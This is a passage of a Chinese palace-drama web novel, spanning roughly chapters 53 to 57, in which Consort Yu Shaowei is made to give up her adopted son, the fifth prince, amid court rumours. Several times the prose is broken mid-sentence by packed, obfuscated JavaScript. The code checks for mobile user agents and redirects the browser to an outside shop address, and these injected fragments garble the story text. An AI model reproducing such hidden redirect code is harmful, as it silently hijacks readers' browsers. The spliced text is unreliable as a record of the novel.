l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152395|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太子的婚事,朕这做父亲的怎么操心都不为过。” 陈皇后与庆帝相视一笑,都没有再言语,暖阁重新陷入安静。 * 景阳宫 独自倚在贵妃榻上的谢凝华看见同样一人站在门前的文淑妃,轻佻地笑了一声,懒懒道:“什么风把我们鼎鼎大名的文淑妃吹来了?也难为你还记得我这都快成冷宫的地方。” 文淑妃表情冷冷的,破天荒的没有理会她语中的嘲讽,径直走近道:“如果你不想这里真的变成冷宫,就老实过你的安生日子。” 谢凝华闻言缓缓抬了抬眼皮,她依旧斜倚着,自下而上望着站在榻前的文淑妃,沉默半晌,她忽然轻声道:“我讨厌这样看着你。” 文淑妃一愣,随即嗤笑道:“你谢凝华从来都是眼高于顶,哪里懂‘仰望’二字。” “我不懂?”谢凝华忽然低笑一声,她没做解释,只是淡淡道:“你若只是来教训我的,那就请回吧,我这儿狭小,容不下你这尊大佛。” “谢凝华!”文淑妃胸中怒火陡然暴涨,低喝道:“你到底有没有听我说话!” “听了啊。”谢凝华轻巧地回了一句,“你说我眼高于顶,不懂仰望,可我现在不就是在望着你吗?淑妃娘娘。” 她歪了歪头,一双狭长的凤眼正对上文淑妃染上薄怒的面容。 “别气啦阿音。”她又补了一句,语气俏皮。 “你——”文淑妃被她这副油盐不进的模样气得心口疼,她好心来提点她,她就这个态度? “我看你是活腻了吧。”文淑妃讽刺道。 “我活没活腻,淑妃娘娘不应该是最知情的吗?”谢凝华的声音轻飘飘的。 文淑妃冷脸:“不管你想做什么,我劝你立刻停止,陛下对你不是全无情分,你还有二皇子,以后的日子不会差。” 谢凝华不知道什么时候坐了起来,闻此嘴角勾起一抹浅笑,饶有兴致道:“真是难得得你一句关心,可我现在的一切不是拜你所赐吗?” “呵,你想激怒我?”文淑妃冷静下来,在谢凝华旁边坐下,轻笑看她。 谢凝华眨了眨眼:“难道我说的有错?” 文淑妃语气带了怨怼:“是我做的又如何?难道你对我就手软了?你有何颜面怪我?” “那不就是了?你又何必来这一趟?”谢凝华摊手,眸中尽是得意之色。 文淑妃猛地起身,盯着谢凝华狠狠道:“你既存心要找死,那就去死好了!死快点,死远点,不要脏了我的眼睛污了我的耳!” “这大概不是我能做主的。”谢凝华看着文淑妃愤然离去的背影扬声道:“不过若真有那么一天,我给你一个替我收尸的机会如何?” 回应她的是殿门被狠狠摔上的巨响。 谢凝华望着紧闭的大门,脸上的笑容一点点淡去,她缓缓起身,挪步向内室走去,走到立柜前摸索着打开夹层,从中掏出一封封蜡的密信。指尖捻去封蜡,展开信纸,上头赫然盖着谢家的家印,她的指腹在“太子”二字上反复摩挲,力道渐渐加重,指甲几乎要嵌进纸里。 54. 第五十四章 亓轸过来时,于少微正在花房照料她的橙树。 自去岁末种下后,这棵树苗不但没有枯萎死去,进入夏季后枝叶生多反而愈发葱茏,深绿的新叶层层叠叠,连枝干都透着鲜活的青劲,其长势能够如此喜人,背后于少微可谓是花了十足的精力。 为了这棵树,于少微几乎成了半个花匠,从翻土施肥的配比,到防寒遮雨的棚架,她都是先拉着御花园的老花匠问得仔仔细细,再亲手照料。 每日总有半个时辰她是在花房待着的,剪去枯梢、擦拭叶面,忙完了便蜷在树旁的藤摇椅上,就那么静静瞧着它发呆。 花房的竹帘被轻轻掀起,带着一身雨后潮气的亓轸走了进来,他一眼就看见靠在摇椅上神游太虚的于少微,不禁放轻了脚步,悄无声息地绕到她身后,轻轻蹲下。 他特意将靴子往阴影里藏了藏,膝盖抵着摇椅的木脚,就这么安安静静地等着。花房里飘着淡淡的草木香,橙叶的清苦混着泥土的湿润,似乎连时间都慢了下来。 可等了约莫一炷香的功夫,他蹲得腿又酸又麻,见人还一动不动地盯着橙树的顶端发呆,终于忍不住唤道:“母妃。” “呀!”于少微瞬间一激灵,下意识地转头去看身后,却扑了个空。 “在这儿呢。”亓轸笑着起身,绕到她面前,“我都快蹲成石头了,您愣是没瞧着我。” 于少微意外:“何时来的?怎么一点声都没有?” 亓轸抿嘴:“来了有一会儿了,您一直都没发现我。” 于少微笑了笑:“你下次直接出声喊我就行。对了,”她低头看见一串略湿的脚印,从门口延伸至她脚下,“下午那场急雨来得突然,我瞧着文华殿的路定是泥泞,就没去寻你,正想着你会不会过来。” 亓轸点点头,转头道:“这橙树越长越好了。” 于少微起身摘了片叶子在指尖揉搓了几下,递给亓轸道:“你闻闻。” 亓轸没接,只是凑近将头低下,鼻尖贴着微凉的叶片,是一股带着草本味道的淡淡橙香,隐约还有一丝苦味,闻着还挺提神的。他没说话,只是抬手攥着叶片反复摩挲,直到香气染满指尖,才抬头看向她。 “不好闻?”于少微见他抿着嘴,故意逗他。 “好闻。”亓轸点头,又把叶片凑到她鼻尖让她也闻,“现在不用搓都香了。” 于少微深深吸了一口气,露出陶醉的神情,她拨弄着橙树的枝叶,眼神专注又温柔,语带期盼: “我想它明年就能挂果了。” 亓轸偏头注视着她的侧脸,也道:“届时我给您剥橙子吃。” 于少微笑笑,轻轻点了点头。 “对了您听说了吗?太子今日晕倒了。”亓轸忽然压低声音道。 “什么?”于少微一惊,“什么时候的事?” “下午的时候,太子从政事堂回东宫,刚一进门就晕过去了。” “现在如何了?”于少微追问,距离婚期不足半月,太子此时晕倒,那这婚礼…… 亓轸轻轻摇头:“太医来瞧过了,说不上好,但也不能说差,太医说大哥是劳累过度,故而透支了身体,恐怕需要静养一段时日。” “劳累过度?”于少微疑惑,“此话怎讲?” 亓轸眉头微蹙,似乎是在努力回忆自己从亓轩处听到的东西,半响才缓缓道:“大哥前段时日身体好了不少,便日日跟着父皇上朝,父皇和大臣们似乎也有意锻炼他,许多棘手的折子都被递到了他的案头。大哥做事向来是认真仔细了,整日埋首案前,为了处理这些折子费了不少力气,许是因此病倒的。” 于少微沉思,太子身为储君,参与朝政、处理奏折本就是他分内之事,毕竟治国理事的能力只靠读书是无法培养的,一位缺乏经验的新君对于一个正直壮年的王朝来说忧患众多。 她与太子交集不多,近来因筹备婚宴跟着陈皇后见了几次,越看越觉得太子是众皇子里最不像庆帝的一个。庆帝坐了近二十年江山,肃杀之气早被帝王威严裹住,可偶尔与他对视,总能被眼底一闪而过的冷意刺得心头一缩。 别的皇子多少有些相似之处,亓轲以前只觉得他不爱正眼看人,但自谢家和谢贵妃出事后,他的眼神就变了,她去文华殿时遇到过几次,他看人的目光总像蒙着层阴翳。亓轩其实可以说是众皇子中最外向的了,但也怪,于少微总觉得他身上有一种疯感,情绪外露、吵吵嚷嚷,情绪激烈得像团烧不尽的火。至于亓辙,这孩子或许因为口吃的毛病,或许因为遗传?即使有德妃娘娘无微不至的照顾与疼爱,于少微也很难用一些明朗的词语和色彩来形容他。 目光不自觉落在身旁的少年身上,于少微这才发现亓轸正静静看着她,晶亮的眼睛里盛着不加掩饰的专注,见她望过来,还弯了弯嘴角。 于少微心头一跳,下意识垂下眼帘,这孩子待她向来温顺依恋,可她总隐隐觉得,亓轸才是最像庆帝的那个,不是长相,而是给人的感觉。他大多数是平静的,或许静水流深,她总觉得自己看不透他,就像他此刻明明是笑着的,她却本能地想保持一丝距离,她信亓轸不会伤害自己,可那种危险感无关恶意,总归是说不清道不明。 但太子不一样,他与自己的父皇兄弟都不一样,若前者是山,或威重、或嶙峋、或怪异,总有阴影会罩住一方天地,他却像流水,十分澄澈,从不作遮蔽的事,待人温和,处事坦荡,这样的人,任谁与他相处都不会生厌。 可是,这样的人适合当皇帝吗?就算……不说别的,他的身体……这一事情发生后,朝臣又会如何看待?他们能够接受一位身体连政务都无法负累的储君吗?庆帝又会怎么想?他想锻炼的,单单只有太子的能力吗? “母妃?母妃!”亓轸的声音将她从思绪里拉回,少年伸手轻轻碰了碰她的手背,“您在想什么?” “我在想婚礼怕是要推迟了。”于少微迅速敛去神色,语气平静得像在说寻常家事。 亓轸古怪地看了她一眼:“不一定。” “你去看过太子了吗?”于少微突然想到,太子此番病倒,剩下的皇子又会有什么心思? 亓轸摇头,”东宫封锁了消息,我们不便去探望,这些我是从亓轩那里听来的。” “封锁消息?”于少微心头一明,难怪亓轸说婚期不一定推迟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167778|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝后都不想太子病倒的消息被外人知道,如此说来—— 于少微瞥了眼亓轸,后者也恰巧看了过来,两人对上目光,亓轸轻笑一声:“您不用担心,儿臣不会有这些不该有的心思。” 被说中心事的羞耻感涌上心头,于少微连忙解释:“我不是这个意思,只是…虽然太子的确有一些……”她顿了顿,又道:“太子依旧被认可,我不想你陷入危险境地。” 况且只有太子登基,亓轸才能有真正的安稳日子,这句话她没有说出来,只是默默放在心底。 “我明白您的意思。”亓轸往前凑了凑,眼里含着不加掩饰的依恋,“我知道您是关心我,我不会做让您陷入危险的事的。” 于少微有些害怕他这样看自己,下意思错开目光,轻声道:“宫中生活不易,你不必为我考虑太多,各做各的主,各护各的命,如此才是正确的。” 亓轸攥紧了身侧的衣摆,嘴角的笑容淡了些,于少微见状,轻轻摇了摇头,示意他不必再提。 “走吧,该回去用晚膳了。”她率先起身,掀开竹帘时,特意回头看了眼少年,亓轸定定望了她几秒,重新扬起笑容,大步跟了上来。 两人刚踏出花房,就被一道急匆匆的身影撞了个正着,青阳跑得满脸通红,额前碎发都被汗水濡湿,连气都喘不匀,于少微见她这副模样,忍不住打趣道:“厨房今日是做了什么新菜色吗?值得你跑成这样来寻我?” “哎哟我的娘娘,您还有心思说笑!”青阳急得跺脚,语速快得像连珠炮,“太和殿的孙公公来了,就在长信宫正殿等着呢!槐序姐姐正陪着说话,说什么都要等您和五殿下回去才肯开口。” “我和亓轸?”于少微脸上的笑意淡了下去,下意识转头去看身旁的少年,亓轸也是一脸茫然。 “是呢,孙公公亲口说的,要您二位一同听旨。”青阳用力点头,像是突然想起什么,又补了一句,“对了娘娘,孙公公怀里还揣着明黄的册子,看着……看着像是圣旨!” “圣旨?”于少微心头一沉,下意识与亓轸交换了个眼神。究竟什么事情连圣旨都来了?近来她安分守己,既没在后宫惹事,也没立什么功劳,怎么会突然有圣旨颁到长信宫?还是指名要她和亓轸一同接旨? “别愣着了,快走吧。”于少微压下心头的疑虑,大步向前,她倒要看看是何方圣旨。 刚踏入长信宫正殿,早已等候在旁的孙公公一见两人进来立刻起身行礼,于少微亲自上前扶住他,含笑道:“孙公公大驾光临,怎么不先让人传个信?倒是劳您久等了。” 孙公公目光在她和亓轸身上转了一圈道:“娘娘说笑了,这是陛下亲自吩咐的差事,老奴自然要等二位。”他侧身站定,抬了抬手,语气也肃然起来,“时辰不早了,还请娘娘与五殿下准备接旨吧。” 于少微闻言立马拉着亓轸跪下,孙公公从随从捧着的托盘里取出明黄圣旨,他清了清嗓子,洪亮的声音在殿内回荡 “皇五子亓轸,天资端慧,品性温良,昔年蒙慧嫔抚育有功,悉心教养,使成佳质,然为全正统教化,特将亓轸移养中宫,归皇后陈氏名下教养,钦此!” 55. 第五十五章 “慧嫔娘娘接旨吧。” “娘娘,娘娘!”槐序的声音带着几分着急,悄悄拽了拽她的衣袖。 于少微骤然回神,起身正要将圣旨接过,就看见亓轸先她一步将圣旨拿到手中。 “陛下的旨意已经送到,老奴就不打扰娘娘和殿下了。”孙公公躬身作了个揖,准备离开。 于少微的目光还胶着在那抹明黄上,直到听见殿门吱呀作响,才猛然惊醒般吩咐道:“青,青阳快去送送孙公公。” 青阳应声快步跟上,一旁的槐序看了眼她失魂落魄的模样,主动上前:“奴婢与青阳一起吧,也好帮着打点一二。” 于少微胡乱点了点头,待殿门“咔嗒”一声合上,屋内骤然安静,亓轸抬眼去看于少微,见其仍站在原地,目光怔怔地望着闭合的大门,他又看了眼手中的圣旨,抬步朝她走去。 “亓轸…”于少微听到脚步声,侧头看他。 “圣旨给我。”她指了指亓轸手中明黄色的锦帛,声音有些飘忽。 亓轸将圣旨递到她手里,又顺手扶住她的手腕,垂眸道:“我们坐着说吧。” 于少微全部注意力都放在圣旨那短短几行字上,没有注意到他的小动作,只是轻轻点了点头,由着少年将她带到位置上。 “您喝茶。”亓轸递过茶盏。 于少微伸手接过放到一旁,看着少年平静的面庞有些狐疑道:“你事先知道这个事情了吗?” “儿臣不知。”亓轸迅速摇头。 “那你——”于少微顿住话头,细细打量他的神色,瞧着不似作假。 亓轸像是看穿了她的心思,主动开口道:“儿臣刚听见旨意时手都在抖,可转头看见您跪在那里眼睛都直了,倒忽然定了神。” 于少微一怔,随即有些不自在地别开脸:“我只是……太突然了。” “您不希望我去皇后宫里是吗?”亓轸不知何时凑了过来,眼睛一错不错的盯着她。 “我……”于少微下意识想反驳,但又瞬间回神自己为什么要反驳?少年凑得有些近了,她往后退了退,椅子摩擦地面发出“刺啦”的声响,她有些尴尬的抬头,见亓轸依旧维持着方才的姿势,定了定神道:“你在我这儿住了一年多了,骤然要去皇后宫里,怕是诸多不便,而且皇后宫里规矩比我这多多了,我怕你……唔主要还是太突然了……” 天啦,她究竟在胡言乱语什么!于少微恨不得手动让自己闭嘴,抬眼瞧见亓轸隐隐带笑的目光,她愤愤地瞪了他一眼,有些扭捏道:“是不太想…主要都住习惯了不是……” 一人吃饭哪有两人香啊,还可以陪她聊天之类的,这长信宫又大又空,再走一个人她真有点受不了。 “我也不想离开您。”亓轸沉沉叹了口气,“可我现在真的很开心。” 从孙公公手中接过圣旨时,他的手都在抖,可是下一秒,当他转头看见愣愣跪在原地的于少微时,她眼里的不可置信忽然让他生出一种巨大的满足感,他感觉自己被她在意着,那个瞬间,他必定占据了她全部心神。 少年的眼睛亮晶晶的,眼角眉梢都透着显而易见的笑意,于少微忽然有些不爽,阴阳怪气的刺道:“呵,去皇后宫里是该高兴,这宫里谁不想住未央宫呢哼。” 亓轸见她这副模样笑得更开心了,嘴角大大勾起,于少微看得刺眼,烦心道:“你回去吧我要休息了。” “咱们还没用晚膳呢?”亓轸故意逗她。 于少微斜了他一眼:“你自己回去吃,去皇后宫里吃也行。”边说着边起身朝内室走去。 “别走!”亓轸一把拽住了她的手腕,稍稍用力将人拉回自己面前,低头看着面前脸色明显不好的于少微无奈道:“我话还没说完呢。” 于少微斜了他一眼,淡淡道:“要说就快点。” “快不了。”亓轸扶着她的肩膀将人重新按到了椅子上。 于少微正在气头上,但看少年的举动又有些不透他的态度,若是现在直接站起来又觉得有些丢面,她想了想,索性双手交叉抱在胸前,仰着头用一副审讯的姿态高傲的吐出两个字:“你说。” 亓轸没有坐在椅子上,而是径直在于少微面前蹲下,仰头道:“您不希望我离开,这让我很高兴。” 于少微一愣,原来是因为这个吗?那她刚刚那副死样,岂不是……天啦,有没有地洞给她钻一下,她觉得自己有点死了…… 她在这里尴尬得满脸通红,偏生亓轸还不肯放过她,硬是追问道:“您明白我的意思吗?” 于少微偏过脸,从喉咙里挤出两个字:“明,明白。” “您认同吗?”亓轸又道。 “认,认同什么?” “您在意我,您不想与我分开。” 于少微瞬间起了一身鸡皮疙瘩,有些嫌弃道:“说这么肉麻干嘛,都什么跟什么啊真是……” 亓轸不依不饶,又将方才的话重复了一遍,仿佛势必要从她的口里得到回答。 于少微觉得自己要是顺着他的意实在是太丢面,任凭少年怎么问都梗着脖子不开口,就在两人僵持不下之际,门被突然敲响,槐序的声音从门外传来 “娘娘,皇后娘娘宫里的人过来传话,要请您现在过去。” 于少微一愣,皇后这时候找她做甚?随即又很快回过神来,定是与亓轸的事情有关。 她扬声回复:“这就来。”然后又低头瞪了一眼不知什么时候将脑袋歪在她膝上的少年,不耐道:“快起来,这么大个人了还这副样子像不像话!” 亓轸没有动,只道:“您还没有回答我。” 于少微双手抱胸,哼气道:“我凭什么要回答你?” 亓轸低低地笑了一声:“您在耍小性子吗?” 于少微气结,彻底不想理他,直接弯腰将他脑袋推开,理了理裙子的褶皱,推开门头也不回的走了。 在去未央宫的路上,迎面吹来的凉风让她混沌的大脑清醒了一些,她开始琢磨方才发生的事情,为什么突然要把亓轸指到皇后名下,皇后明明不缺子女,她要亓轸有什么用?这圣旨是庆帝的意思?可他又有什么用意,他当时为什么要把亓轸指给自己…… 于少微想得出神,不知不觉就走到了未央宫的宫门外,有宫女引她入座,她端起沏好的茶,刚抿了一口,忽然意识到这怎么只有她一个人? “娘娘呢?”她看向给她沏茶的宫女。 “娘娘去东宫了,马上就回来了,劳烦您先等一等,有什么需要请与奴婢说。” “没事,你先下去吧。”于少微抬手将人打发走。 东宫,太子……于少微想到太子病倒的消息,忽然明白了,亓轸这事定是与太子有关! 待她心不在焉的喝完一盏茶,陈皇后总算姗姗来迟,于少微起身行礼,皇后疲惫地摆摆手:“坐吧。” 于少微挨着皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177944|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后坐下,抬眼瞧见她眉宇间的沉郁,有些担心道:“娘娘千万保重身体。” 陈皇后叹了口气,偏头看她,“圣旨收到了吧。” 于少微点点头:“刚刚孙公公亲自来送的。” “你是怎么想的?”陈皇后眼睛一错不错地看着她。 “什么?”于少微被问的猝不及防,下意识装糊涂。 “五皇子的事,你怎么想的?”陈皇后颇为耐心的重复了一遍。 于少微低下头:“臣妾,臣妾只觉得陛下如此安排定是有他的用意。” “我知道。”陈皇后揉了揉自己的眉心,语气终于有些不耐:“本宫是问你的想法。” 于少微斜了一眼陈皇后,觉得她今日有些奇怪,但还是老实道:“五皇子与臣妾相处了一年,且孝顺又贴心,更别说之前在宁心苑他还救过臣妾,骤然分离,臣妾确有不舍。” “那五皇子呢?他什么想法?” 于少微心觉奇怪,又关亓轸什么事?但瞧见陈皇后面色不似寻常和蔼,还是诚实道:“五皇子似乎与臣妾想法相同。” 她话音刚落,就听到陈皇后沉沉叹了口气:“本宫就知道。” 见陈皇后这副模样,于少微忽然也紧张起来,她悄悄抬眼去觑陈皇后的颜色,小心翼翼道:“娘娘这是何意?” 陈皇后一脸严肃地看向她:“你可记得前些日子,郑淳来宫里试嫁衣那回,大家吃完饭后,本宫允你留下来听本宫与陛下谈话?” 于少微点头,那次谈话内容也没什么不该听的啊。 “你可还记得在那之后陛下问话,你提起五皇子因你生病错过考校,你询问陛下空闲时间想让五皇子去找陛下汇报课业?” 于少微又点头,她的请求很合理啊。 “那你可知你非五皇子生母?” 于少微再次点头,她忽然一愣,怎么突然问起这个来? 陈皇后看着她的模样有些痛心疾首:“你并非五皇子生母,又与他年岁相差不大,你为他尽心尽力,而他如何待你旁人也都看得到,你可知宫中近来有些风言风语,说你们——” 皇后点到为止,于少微却瞬间白了脸色,着急道:“我没有!臣妾没有!臣妾和五皇子清清白白啊!” 陈皇后认真道:“本宫相信你,其实陛下也是相信你的,可是你也要明白,皇家名誉何其重要,即使这些只是谣言,陛下也不得不采取一些行动了,你明白吗?” 于少微愣愣地点点头。 陈皇后见她一副吓惨了的模样,心软了许多,又凑近握住她冰凉的手,有些心疼道:“宫里很难有所谓的清者自清,你所能做的就是避免谣言的产生,你明白本宫的意思吗?” 于少微又点点头,随后又低低道:“臣妾明白了。” “你明白就好,放心,五皇子过来后本宫不会亏待他的,届时让他搬到东宫去与太子住一块,太子也会多多照看他的。” 于少微压下紊乱的心神,起身行了一礼:“谢娘娘体恤。” “好了,回去吧,别忧心太多,这些闲言碎语很快就过去了。” 于少微颔首,临走前又回头看了皇后一眼,真心实意道:“娘娘气色瞧着实在不好,可有请太医来诊脉?要是有什么是少微能帮忙的,您千万要与我说。” 陈皇后的眼神顿时有些复杂,她沉默了一瞬,嘴角挤出一个淡淡的微笑,温和道:“本宫知道了。” 56. 第五十六章 在皇后处耽误了一些时间,于少微离开时天色已然昏暗。她出门时没带旁人,所以现在也是孤零零一人走在宫道上,她走得很慢,慢到夕阳最后一缕余晖都已消失在天边,四周彻底暗了下来,她也磨磨蹭蹭走到最后一个拐角,转过这道弯,就是一条直路,路的尽头是她的长信宫。 于少微停在拐角处,低头深吸一口气,迈出了第一步。她缓缓抬头,青灰色的路、暗红色的宫墙渐次从眼中掠过,不远处熟悉的宫殿驻立在暮色之中,大门处悬着一团暖光,她定睛一看,一只转鹭灯,旋转的影子倒映在大门上,不停变换。 “转鹭灯……”她不自觉喃喃出声。那只灯她认得,是今年元宵时她与亓轸一起做的,每一面的图案都是她和亓轸亲手画的。 这不过是她当时心血来潮,一个无聊的消遣罢了。两人在屋子里做了一天,临到晚上终于完工,她小心翼翼将点亮的蜡烛放了进去,双眼一错不错地盯着,烛火的热气上涌,转鹭灯慢慢旋转起来。 “成了!”她欣喜地转头去看亓轸。 少年同样面带喜色,两人一起高高兴兴地欣赏了会儿一天的劳动成果,于少微提议道:“我们将它挂在门口吧!” 亓轸欣然点头,走到一旁的红酸枝灵芝纹衣架上取下两人的外衣,于少微自然接过,待两人穿戴整齐提着灯推开殿门时,几点冰凉迎面吹来,于少微看着空中飘飘洒洒的雪花,愣道:“下雪了。” “还去吗?”亓轸看着她道。 院子里已经积了一层薄薄的雪,皎洁的月光映在白雪上,天色没有想象中的黑,但风却冷得刺骨。于少微看了看雪又看了看手中依旧转动的灯,坚定道:“去吧。” “把灯给我吧,您把手揣怀里。”亓轸伸手去接转鹭灯。 于少微含笑看了他一眼,将灯递过去,然后把手揣进毛茸茸的披风里,心安理得的享受少年的关心。 走到大门处,于少微个子不够,于是指挥亓轸将灯挂上,暖黄的灯光在雪地里映出一片亮色,不同于月光的冷清,她觉得自己单只瞧着那团光晕就已经感受到了暖意,她静静看了一会儿,抬头对着亓轸道:“我想起了一句诗。” “嗯?”亓轸微微侧过脸。 “柴门闻犬吠,风雪夜归人。”她的声音不大,但和那团光晕一样,暖暖的。 亓轸眼神闪了闪,只听于少微又道:“黑夜中,家门口亮起的灯笼才是归人的月亮。” 亓轸没有反应只低头沉默,于少微靠近他,轻轻道:“你在想什么?” 亓轸抿紧唇,手指拨弄着腰上係着的玉佩,缓缓道:“我想给这盏灯换个穗子。” 于少微奇怪,但还是道:“你想换就换呗。” 亓轸手指用力,一把扯下了腰间的玉佩,用它将转鹭灯上原先係着的红穗子换了下来。 于少微站在旁边围观了全程,面露惊讶:“怎么把你的玉佩係上去了?” 亓轸不答,只看着她轻轻道:“您觉得好看吗?” 于少微点头,毫不犹豫道:“当然!” 雪不知不觉又下大了些,连带着风也更加喧嚣,转鹭灯被吹得东摇西晃,下头係的新穗子也跟着荡来荡去,于少微莫名看得心疼,连忙道:“咱还是取下来吧。” 亓轸点头,两人提着灯穿过风雪,走向从门缝里透出亮光的宫殿。 自那晚后,每当于少微夜晚归宫,总能看到自己宫门前挂着这盏转鹭灯,那晚的意兴之语,说者无心,听者却记在了行动里。 自她搬到长信宫后,这转鹭灯还是第一次挂上吧,于少微已经走到了宫门口,怔怔地望着灯笼上变换的图案,脸上感觉到一抹湿意,她下意识抬手摸了摸脸,后知后觉,原来她哭了。 她在哭什么? 陈皇后说过的话回荡在耳畔,她知道这道突然的圣旨背后一定有确切的原因,只是她没想到原因竟然会是这个,她和亓轸……这怎么可能! 可是不可能又能怎样?或许风言风语不足为惧,但若这风言风语传到庆帝耳朵里,就不是她可以置之不理的了。 她愤怒又委屈,随之而来的又是巨大的恐惧。她与亓轸相伴不过一年多,可这是她来到这个世界的第一年。他们之间,无论是肆意的笑闹还是激烈的争吵,亦或是无需言语的对坐,这段关系无论是因何目的,因何原因开始的,走到现在,她又怎么舍得放弃。 如今她却要被迫亲手扼杀一段她珍视无比、给予她无数慰藉的关系…… 为何命运总是薄待于她? 亓轸坐在屋子里等了许久,听到身后传来脚步声,连忙起身回头。少年扬起的笑容凝固在嘴角,他急忙上前一步,低低道:“您怎么哭了?” 于少微下意识去摸脸,亓轸看见她的动作,轻轻叹道:“您眼睛有些红。” 于少微一愣,低低的哦了一声。 亓轸见她这副表情,放弃了追问的想法,轻轻道:“我让人传膳吧?” 于少微点点头,亓轸开门去叫人,她则走到内室的镜台前,细细观察自己的眼睛,是有些红,但只有一点点,很浅很浅。 暖阁内,烛光的照耀下饭菜泛着诱人的色泽,丝丝缕缕的香气钻进鼻腔,于少微却没有分毫食欲。亓轸本想等吃完饭再问她未央宫的事,见她这副样子,也放下手中的筷子,抬眼道:“皇后与您说了什么?” 于少微低头看着碗里的白饭,下意识道:“没说什么。” 亓轸皱眉:“与我有关是吗?与父皇将我记到皇后名下有关是吗?其实您走后我也一直在想这道圣旨的原因,我觉得或许是因为——” “你不要说了!”于少微骤然打断他的话。 亓轸愕然,有些小心翼翼道:“您怎么了?” “没什么。”于少微懊恼自己的失态,但她又实在害怕少年说出与陈皇后一样的话,这简直太荒唐了,即使他们什么都没有,即使他们没有丝毫越界,但她也实在不想从他口中听到那些谣言。 为什么这些人要这么意淫他们?她感到一种发自内心的恶心与愤怒,明明人是你们送过来的,她担负起一个养母的责任,他做好一个养子的义务,为什么要用那么龌龊的想法去揣测他们的关系?难道非要她对亓轸冷淡如冰或动辄打骂吗?如此才能成就一段不会惹人纷说的母子关系吗? 可是她又能怎么办呢?往日的爱护与亲近,在他人眼中成为了可供攻讦的证据,她只有推开他,才能保护自己,保护他…… 亓轸看见于少微失魂落魄的模样,心里愈发担忧,明明走之前还好好的?怎么回来就成这个样子了? 亓轸起身绕到她身边坐下,少年突然的靠近吓得于少微拖着椅子往后猛地一退,由于动作太过突然又迅速,椅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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亓轸顿时一噎,但又很快反应过来道:“圣旨一事,我会想办法的!就算我真的要搬到皇后处,但两边离那么近,我还是可以经常来看你的,我们还可以和从前一样的!” “还和从前一样?”于少微冷笑,“你就这么想让我死吗?” “你知道你在说什么吗?!”亓轸脸色极差,不可置信地看着于少微。 “不然呢?圣旨已经送到了,皇后也找我谈话了,我还与你如从前一样?”于少微这时倒冷静下来,她仰头看着面前高大的少年,如同在看不懂事的孩子,“这些谣言你可以不必理会,它们对你也不会造成什么伤害,但我不一样,这宫里多少双眼睛盯着我?只要行差踏错一步,我就会跌入万丈深渊。” “不会的!我不会让这样的事情发生的,您要相信我!我有能力制止,我有能力保护你!”亓轸看着她,眼里满是慌乱与祈求。 若是往常,于少微看着少年这副模样大抵是会心疼,但此刻却只觉得心烦意乱,她重重靠在椅背上,语气疲惫:“你或许有能力,但我不敢将自己的安危寄托于任何人身上,这一年多我与你相处得很愉快,这就够了。皇后比我强,你跟着皇后也定比跟着我强,既已有了锦绣前程,便该知道避嫌,往日情分不过是抚养之责,如今你另有天地,莫再纠结于过往。” 她顿了顿,又道:“你的日子会越来越好的,我也能得到一份清静,这是一个与我们都有利的决定,如此,挺好的,就这样吧。” 说完,她没有再看亓轸一眼,起身头也不回的推门离开了。 57. 第五十七章 太子病倒的消息被人泄露,一时间朝野震惊,大臣们议论纷纷,庆帝案上的折子一下子比平常多了一倍有余。 很快,泄露信息之人也被查了出来,不是旁人,正是未来的准太子妃郑淳。 太子晕倒那日她正好在宫中,回府前陈皇后也特意叮嘱过她不能向旁人透露太子病倒的消息,包括她的父亲。 郑淳明白事情的严重性,也一直守口如瓶,可消息怎么就突然泄露出去了?还是从她这里,她、她明明什么都没做啊?! 宫里派人传她进宫,郑淳待在自己的卧房坐立难安,思绪猛地被拉回昨日下午,那时她刚从宫中探望太子归来,府里的管家突然匆匆来报,说城郊别院的老嬷嬷病重,临终前想见她一面,那老嬷嬷是自幼照料她母亲的人,她听后连换衣的功夫都没有,径直带着贴身侍女往别院赶。 路上恰逢一场急雨,马车在泥泞中陷了轮,正手足无措时,一穿着铁甲的侍卫突然策马出现,言明自己今日当值在近郊巡查,见此情景特来相助。这侍卫一边安排人手推车,一边随口与聊起她近日在宫中的见闻,她虽记着皇后的叮嘱,却架不住对方句句不离太子往日的体恤,又十分自然的提及“近日宫中似有异动,太子殿下忧心国事,怕是劳累过度”,她一时心软,便叹了句前日见殿下脸色确实不佳,话一出口便觉不妥,当即住了嘴,只说自己也是道听途说。 如今想来,那根本就是个圈套,她那句无心之语,不知被辗转传成了何种模样,竟成了泄露消息的铁证! “小姐,宫中来的公公已经在门外候着了。”侍女的声音将郑淳从混乱的思绪中拉回现实。 她深吸一口气,对着铜镜理了理衣襟,镜中少女面色苍白,她害怕自己受罚,更怕因此连累太子,也怕辜负了皇后的信任。 